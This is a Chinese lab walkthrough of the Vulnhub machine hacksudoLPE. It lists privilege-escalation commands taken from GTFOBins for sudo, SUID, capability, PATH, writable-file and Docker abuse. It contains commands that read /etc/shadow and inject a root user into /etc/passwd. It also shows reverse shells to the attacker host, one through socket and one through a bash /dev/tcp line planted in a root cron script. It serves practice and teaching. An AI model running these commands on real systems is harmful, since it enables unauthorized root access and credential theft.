Vulnhub靶机:hacksudoLPE

一、介绍

运行环境:Virtualbox

攻击机:kali(10.0.2.15)

靶机:hacksudoLPE(10.0.2.47)

目标:获取靶机root权限和flag,该靶机是一个练习提权的靶场,主要以提权为主

靶机下载地址:https://www.vulnhub.com/entry/hacksudo-lpe,698/

二、信息收集

使用nmap主机发现靶机ip:10.0.2.47

在这里插入图片描述

使用nmap端口扫描发现,靶机开放端口:22、80

在这里插入图片描述

80端口:打开网站发现是一个登录页面,先查看源码发现了隐藏信息:

<font color='white'>
<h3>Username : admin</h3>
<h3>Password : hacksudo</h3>
</font>

在这里插入图片描述
在这里插入图片描述

使用获得的用户名密码登录网站

在这里插入图片描述

三、提权

Challenge 1:Sudo滥用挑战

1)apt-get

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行apt-get

在这里插入图片描述

搜索利用方法:apt get | GTFOBins

sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

在这里插入图片描述

获取flag:viluhacker

在这里插入图片描述

所有flag都是一样的为/root/root.txt文件,后续不再附截图了

2)arp

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行arp

在这里插入图片描述

搜索利用方法:arp | GTFOBins

LFILE=/etc/shadow
sudo arp -v -f "$LFILE"

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格

在这里插入图片描述

切换为root用户

在这里插入图片描述

获取flag:viluhacker

3)awk

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行awk

在这里插入图片描述

搜索利用方法:awk | GTFOBins

sudo awk 'BEGIN {system("/bin/sh")}'

在这里插入图片描述

获取flag:viluhacker

4)base32

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行base32

在这里插入图片描述

搜索利用方法:base32 | GTFOBins

LFILE=/etc/shadow
sudo base32 "$LFILE" | base32 --decode

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

5)base64

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行base64

在这里插入图片描述

搜索利用方法:base64 | GTFOBins

LFILE=/etc/shadow
sudo base64 "$LFILE" | base64 --decode

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

6)cat

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行cat

在这里插入图片描述

搜索利用方法:cat | GTFOBins

LFILE=/etc/shadow
sudo cat "$LFILE"

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

7)comm

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行comm

在这里插入图片描述

搜索利用方法:comm | GTFOBins

LFILE=/etc/shadow
sudo comm $LFILE /dev/null 2>/dev/null

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

8)cp

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行cp

在这里插入图片描述

搜索利用方法:cp | GTFOBins

LFILE=/etc/shadow
sudo cp "$LFILE" /dev/stdout

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

9)curl

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行curl

在这里插入图片描述

搜索利用方法:curl | GTFOBins

LFILE=/etc/shadow
sudo curl file://$LFILE

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

10)cut

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行cut

在这里插入图片描述

搜索利用方法:cut | GTFOBins

sudo cut -d "" -f1 /etc/shadow

在这里插入图片描述

获取flag:viluhacker

11)dash

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行dash

在这里插入图片描述

搜索利用方法:dash | GTFOBins

sudo dash

在这里插入图片描述

获取flag:viluhacker

12)date

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行date

在这里插入图片描述

搜索利用方法:date | GTFOBins

LFILE=/etc/shadow
sudo date -f $LFILE

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

13)diff

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行diff

在这里插入图片描述

搜索利用方法:diff | GTFOBins

LFILE=/etc/shadow
sudo diff --line-format=%L /dev/null $LFILE

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

14)find

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行find

在这里插入图片描述

搜索利用方法:find | GTFOBins

sudo find . -exec /bin/sh \; -quit

在这里插入图片描述

获取flag:viluhacker

15)ftp

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行ftp

在这里插入图片描述

搜索利用方法:ftp | GTFOBins

sudo ftp
!/bin/sh

在这里插入图片描述

获取flag:viluhacker

16)gcc

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行gcc

在这里插入图片描述

搜索利用方法:gcc | GTFOBins

sudo gcc -wrapper /bin/sh,-s .

在这里插入图片描述

获取flag:viluhacker

17)gdb

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行gdb

在这里插入图片描述

搜索利用方法:gdb | GTFOBins

sudo gdb -nx -ex '!sh' -ex quit

在这里插入图片描述

获取flag:viluhacker

18)ip

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行ip

在这里插入图片描述

搜索利用方法:ip | GTFOBins

LFILE=/etc/shadow
sudo ip -force -batch "$LFILE"

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

19)pip

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行pip

在这里插入图片描述

搜索利用方法:pip | GTFOBins

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF

在这里插入图片描述

靶机没有安装pip,提权不了

20)perl

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行perl

在这里插入图片描述

搜索利用方法:perl | GTFOBins

sudo perl -e 'exec "/bin/sh";'

在这里插入图片描述

获取flag:viluhacker

21)socket

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行socket

在这里插入图片描述

搜索利用方法:socket | GTFOBins

攻击机执行:
nc -l -p 12345靶机执行:
RHOST=10.0.2.15
RPORT=12345
sudo socket -qvp '/bin/sh -i' $RHOST $RPORT

在这里插入图片描述
在这里插入图片描述

获取flag:viluhacker

22)vi

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行vi

在这里插入图片描述

搜索利用方法:vi | GTFOBins

sudo vi -c ':!/bin/sh' /dev/null

在这里插入图片描述

获取flag:viluhacker

23)view

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行view

在这里插入图片描述

搜索利用方法:view | GTFOBins

sudo view -c ':!/bin/sh'

在这里插入图片描述

获取flag:viluhacker

24)wget

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行wget

在这里插入图片描述

搜索利用方法:wget | GTFOBins

TF=$(mktemp)
chmod +x $TF
echo -e '#!/bin/sh\n/bin/sh 1>&0' >$TF
sudo wget --use-askpass=$TF 0

在这里插入图片描述

获取flag:viluhacker

25)watch

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行watch

在这里插入图片描述

搜索利用方法:watch | GTFOBins

sudo watch -x sh -c 'reset; exec sh 1>&0 2>&0'

在这里插入图片描述

获取flag:viluhacker

26)xxd

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行xxd

在这里插入图片描述

搜索利用方法:xxd | GTFOBins

LFILE=/etc/shadow
sudo xxd "$LFILE" | xxd -r

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

27)zip

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行zip

在这里插入图片描述

搜索利用方法:zip | GTFOBins

TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF

在这里插入图片描述

获取flag:viluhacker

Challenge 2:SUID滥用挑战

1)ar

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

搜索利用方法:ar | GTFOBins

TF=$(mktemp -u)
LFILE=/etc/shadow
./ar r "$TF" "$LFILE"
cat "$TF"

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

2)ash

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

r00t和ash文件字节数一样,r00t文件应该是ash

在这里插入图片描述

搜索利用方法:ash | GTFOBins

./r00t -p

在这里插入图片描述

获取flag:viluhacker

3)atobm

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

未发现该程序

搜索利用方法:atobm | GTFOBins

LFILE=/etc/shadow
./atobm $LFILE 2>&1 | awk -F "'" '{printf "%s", $2}'
4)base32

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

发现该程序是为base32

在这里插入图片描述

搜索利用方法:base32 | GTFOBins

LFILE=/etc/shadow
./dont "$LFILE" | base32 --decode

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

5)bash

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

搜索利用方法:bash | GTFOBins

./bash -p

在这里插入图片描述

获取flag:viluhacker

6)cat

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

发现该程序是为cat

在这里插入图片描述

搜索利用方法:cat | GTFOBins

LFILE=/etc/shadow
./hackme "$LFILE"

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

7)chmod

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

发现该程序是为chmod

在这里插入图片描述

搜索利用方法:chmod | GTFOBins

LFILE=/etc/shadow
./run 6777 $LFILE
cat /etc/shadow

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

8)chroot

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

发现该程序是chroot

在这里插入图片描述

搜索利用方法:chroot | GTFOBins

./rootme / /bin/sh -p

在这里插入图片描述

获取flag:viluhacker

9)cp

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

发现该程序是cp

在这里插入图片描述
在这里插入图片描述

搜索利用方法:cp | GTFOBins

LFILE=/etc/shadow
./do "$LFILE" /dev/stdout

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

10)cpulimit

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

发现该程序是cpulimit

在这里插入图片描述

搜索利用方法:cpulimit | GTFOBins

./take -l 100 -f -- /bin/sh -p

在这里插入图片描述

获取flag:viluhacker

11)cut

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

发现该程序是cut

在这里插入图片描述
在这里插入图片描述

搜索利用方法:cut | GTFOBins

LFILE=/etc/shadow
./cut -d "" -f1 "$LFILE"

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

12)dash

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

搜索利用方法:dash | GTFOBins

./shell -p

在这里插入图片描述

获取flag:viluhacker

13)date

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

发现该程序为date

在这里插入图片描述
在这里插入图片描述

搜索利用方法:date | GTFOBins

./date -f /etc/shadow

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

14)make

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

发现该程序为make

在这里插入图片描述

搜索利用方法:make | GTFOBins

COMMAND='/bin/sh -p'
./fast -s --eval=$'x:\n\t-'"$COMMAND"

在这里插入图片描述

获取flag:viluhacker

Challenge 3:Capabilities滥用挑战

1)gdb

登录虚拟终端后,getcap -r / 2>/dev/null查看可执行的文件,来获取内核权限

发现没有回显,getcap 命令不存在

在这里插入图片描述

我们先看一下当前用户home目录下所有文件,发现在./capabiliti/rip4/hack8文件夹里面有一个gdb文件,根据挑战提示,应该是要用gdb文件进行提权

ls -R -la

在这里插入图片描述

搜索利用方法:gdb | GTFOBins

./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

在这里插入图片描述

获取flag:viluhacker

2)node

登录虚拟终端后,ls -R -la查看当前用户home目录下所有文件,发现一个node文件,根据挑战提示,应该是要用node文件进行提权

在这里插入图片描述

搜索利用方法:node | GTFOBins

./node -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'

在这里插入图片描述

获取flag:viluhacker

3)perl

登录虚拟终端后,ls -R -la查看当前用户home目录下所有文件,发现一个perl文件,根据挑战提示,应该是要用perl文件进行提权

在这里插入图片描述

搜索利用方法:perl | GTFOBins

./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

在这里插入图片描述

获取flag:viluhacker

4)php

登录虚拟终端后,ls -R -la查看当前用户home目录下所有文件,发现两个php文件,根据挑战提示,应该是要用php文件进行提权

在这里插入图片描述
在这里插入图片描述

搜索利用方法:php | GTFOBins

CMD="/bin/sh"
./php -r "posix_setuid(0); system('$CMD');"

在这里插入图片描述

获取flag:viluhacker

5)python

登录虚拟终端后,ls -R -la查看当前用户home目录下所有文件,发现一个python文件,根据挑战提示,应该是要用python文件进行提权

在这里插入图片描述

搜索利用方法:python | GTFOBins

./python -c 'import os; os.setuid(0); os.system("/bin/sh")'

在这里插入图片描述

获取flag:viluhacker

6)ruby

登录虚拟终端后,ls -R -la查看当前用户home目录下所有文件,但该用户home文件夹下的文件夹太多了,我们直接用find命令进行查找find ./ -name ruby,发现一个ruby文件,根据挑战提示,应该是要用ruby文件进行提权

在这里插入图片描述

搜索利用方法:ruby | GTFOBins

./ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'

在这里插入图片描述

获取flag:viluhacker

7)python3

登录虚拟终端后,ls -R -la查看当前用户home目录下所有文件,发现一个python3文件,根据挑战提示,应该是要用python3文件进行提权

在这里插入图片描述

搜索利用方法:python | GTFOBins

./python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'

在这里插入图片描述

获取flag:viluhacker

Challenge 4:PATH 变量滥用

1)apt-get

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

直接执行该文件看看,发现该文件调用了apt-get命令

在这里插入图片描述

可以用strings查看该文件包含的字符串strings /home/user53/shell

在这里插入图片描述

可以通过更改系统的环境变量来进行提权

cd /tmp
echo "/bin/sh" > apt-get
chmod 777 apt-get
echo $PATH
export PATH=/tmp:$PATH
/home/user53/shell

在这里插入图片描述

获取flag:viluhacker

2)ftp

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

可以用strings查看该文件包含的字符串strings /home/user54/run

在这里插入图片描述

直接执行看看

在这里插入图片描述

应该是该文件先设置uid然后调用了ftp命令,可以通过更改系统的环境变量来进行提权

cd /tmp
echo "/bin/sh" > ftp
chmod 777 ftp
export PATH=/tmp:$PATH
/home/user54/run

在这里插入图片描述

获取flag:viluhacker

Challenge 5:可写文件滥用

1)/etc/passwd

登录虚拟终端后,查看/etc目录,并未发现该用户对passwd文件具有写权限,但在该用户的home目录下发现具有suid权限的curl文件

在这里插入图片描述
在这里插入图片描述

可以利用curl文件读取shadow文件进行破解提权,但本次挑战既然是/etc/passwd可写文件滥用,那我们就通过写入/etc/passwd文件的方式进行提权

利用Perl和crypt来使用salt值为我们的密码生成哈希值

perl -le 'print crypt("123456","addedsalt")'

将靶机的passwd复制到攻击机,在passwd添加一条数据,用户名:test 密码: 123456 登录主机,登录成功后,是 root 权限

test:adrla7IBSfTZQ:0:0:User_like_root:/root:/bin/bash

使用curl命令将passwd上传到靶机,覆盖靶机passwd文件

查找curl具体用法:curl | GTFOBins

cp /etc/passwd /tmp/passwd.bak
URL=http://10.0.2.15/passwd
LFILE=/etc/passwd
./curl $URL -o $LFILE

在这里插入图片描述

查看/etc/passwd发现存在test用户

在这里插入图片描述

切换为test用户,为root权限

在这里插入图片描述

获取flag:viluhacker

2)script

登录虚拟终端后,ls -la查看当前用户home目录下的文件,发现一个writable.py文件,该文件具有suid权限

在这里插入图片描述

查看writable.py文件的内容,发现该文件调用了os、sys模块,并且尝试修改该文件,发现没有修改权限

在这里插入图片描述

想到调用了os、sys模块,是不是可以修改os或sys模块来达到提权的目的。未发现可编辑的模块。也可能是我思考的方向不对。

扩展:user59用户提权

登录虚拟终端后,查看计划任务:cat /etc/crontab,发现每分钟会以root权限执行/home/user59/cleanup.py文件

在这里插入图片描述

查看该脚本文件,发现我们有该文件的编辑权限

在这里插入图片描述

可以修改该文件进行提权

bash -c 'bash -i >& /dev/tcp/10.0.2.15/4444 0>&1'

在这里插入图片描述
在这里插入图片描述

获取flag:viluhacker

Challenge 6:文件读取滥用

1)cpio

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

搜索利用方法:cpio | GTFOBins,可以读取任意文件

LFILE=/etc/shadow
TF=$(mktemp -d)
echo "$LFILE" | ./cpio -R $UID -dp $TF
cat "$TF/$LFILE"

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

2)git

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

搜索利用方法:git | GTFOBins,可以读取任意文件

LFILE=/etc/sh
./git diff /dev/null $LFILE

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

Challenge 7:Docker 滥用

1)docker

登录虚拟终端后,使用id命令发现用户在docker组里面,可以使用docker进行提权

在这里插入图片描述

使用命令:docker images,用于查看本地已下载的镜像,刚开始镜像是不存在的,需要自己进行导入docker pull alpine

由于我的环境靶机和互联网不通,我使用的是离线导入,使用安装登录docker的虚拟机导入镜像,然后将镜像打包上传到靶机

主机导入镜像并打包

sudo docker pull alpine
docker save alpine:latest -o /home/huang/alpine.tar

在这里插入图片描述

靶机离线导入镜像

docker load -i alpine.tar

在这里插入图片描述

搜索利用方法:docker | GTFOBins

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

在这里插入图片描述

Challenge 8:通配符滥用

1)Wildcard

尝试登录虚拟终端,发现不存在该用户名wildcard,没有环境。

靶机上倒是有用户名user61,可能是通配符提权的环境,但登录进去没有找到提权思路。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/459720.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Linux】POSIX信号量基于环形队列的生产消费模型

需要云服务器等云产品来学习Linux的同学可以移步/–>腾讯云<–/官网&#xff0c;轻量型云服务器低至112元/年&#xff0c;优惠多多。&#xff08;联系我有折扣哦&#xff09; 文章目录 引入1. POSIX信号量1.1 信号量的概念1.2 信号量的使用1.2.1 信号量的初始化1.2.2信号…

Ps:信息面板选项

点击“信息”面板控制菜单按钮&#xff0c;打开“信息面板选项” Info Panel Options对话框。 第一颜色信息 First Color Readout 指定在“信息”面板中的“第一颜色信息”区域显示的像素颜色值所基于的颜色模式。 模式 Mode --实际颜色 Actual Color 默认选项。显示在当前颜色…

什么是网络渗透,应当如何防护?

什么是网络渗透 网络渗透是攻击者常用的一种攻击手段&#xff0c;也是一种综合的高级攻击技术&#xff0c;同时网络渗透也是安全工作者所研究的一个课题&#xff0c;在他们口中通常被称为"渗透测试(Penetration Test)"。无论是网络渗透(Network Penetration)还是渗透…

Open CASCADE学习|创建多段线与圆

使用Open CASCADE Technology (OCCT)库来创建和显示一些2D几何形状。 主要过程如下&#xff1a; 包含头文件&#xff1a;代码首先包含了一些必要的头文件&#xff0c;这些头文件提供了创建和显示几何形状所需的类和函数。 定义变量&#xff1a;在main函数中&#xff0c;定义…

seata安装部署手册

1. 准备介质 seata-server-1.5.2.tar.gz2. 解压 tar-xzvf seata-server-1.5.2.tar.gz3. 创建数据库 数据库脚本位置&#xff1a;seata/script/server/db 4. 修改配置文件 bin目录 ---> 运行脚本 conf目录 ---> 配置文件 lib目录 ---> 依赖库 logs目录 ---> …

网神 SecGate 3600 防火墙 route_ispinfo_import_save 文件上传漏洞

免责声明&#xff1a;文章来源互联网收集整理&#xff0c;请勿利用文章内的相关技术从事非法测试&#xff0c;由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失&#xff0c;均由使用者本人负责&#xff0c;所产生的一切不良后果与文章作者无关。该…

codemirror光标样式问题

输入框为空时会显示placeholder&#xff0c;文字有点长换行了&#xff0c;光标竟然变成上图那样了&#xff0c;我试过如果placeholder文字是三行&#xff0c;那么光标就是三行高。真是见了鬼了。查到最后&#xff0c;原因竟然是因为我在用vue-codemirror时为了去掉一些basicSet…

9.6整数拆分(LC343-M)

算法&#xff1a; 动规五部曲&#xff1a; 1.确定dp[i]及i dp[i]&#xff1a;分拆数字i&#xff0c;可以得到的最大乘积为dp[i] 2.确定递推公式&#xff1a; 思路&#xff1a;dp[i]最大乘积是怎么得到的&#xff1f; 其实可以从1遍历j&#xff0c;然后有两种渠道得到dp[i…

洛希极限

L1-3 洛希极限 分数 10 作者 陈越 单位 浙江大学 科幻电影《流浪地球》中一个重要的情节是地球距离木星太近时&#xff0c;大气开始被木星吸走&#xff0c;而随着不断接近地木“…

OpenShift AI - 运行欺诈检测模型和流程

《OpenShift / RHEL / DevSecOps 汇总目录》 说明&#xff1a;本文已经在 OpenShift 4.14 RHODS 2.50 的环境中验证 文章目录 准备运行环境安装 OpenShift AI 环境安装 Minio 对象存储软件创建 Data Science Project创建 Data connection创建 Workbench配置 Model server创建 …

AD9361多片同步设计方法

本文基于ZC706FMCOMMS5的平台&#xff0c;介绍了多片AD9361同步的方法。并将该设计移植到自行设计的ZYNQ70354片AD9361(实现8路同步收发)的电路板上。本设计采用纯逻辑的方式&#xff0c;仅使用了ZYNQ芯片的PL部分。 9361多芯片同步主要包括基带同步和射频同步两大块任务。其中…

【JavaScript 漫游】【011】ES5 规范中 Array 对象方法汇总

文章简介 本文为【JavaScript 漫游】专栏的第 011 篇文章&#xff0c;记录的内容包含了 ES5 规范中Array 对象的所有方法。 Array()Array.isArray()valueOf()、toString()push()、pop()shift()、unshift()join()concat()reverse()slice()splice()sort()map()forEach()filter(…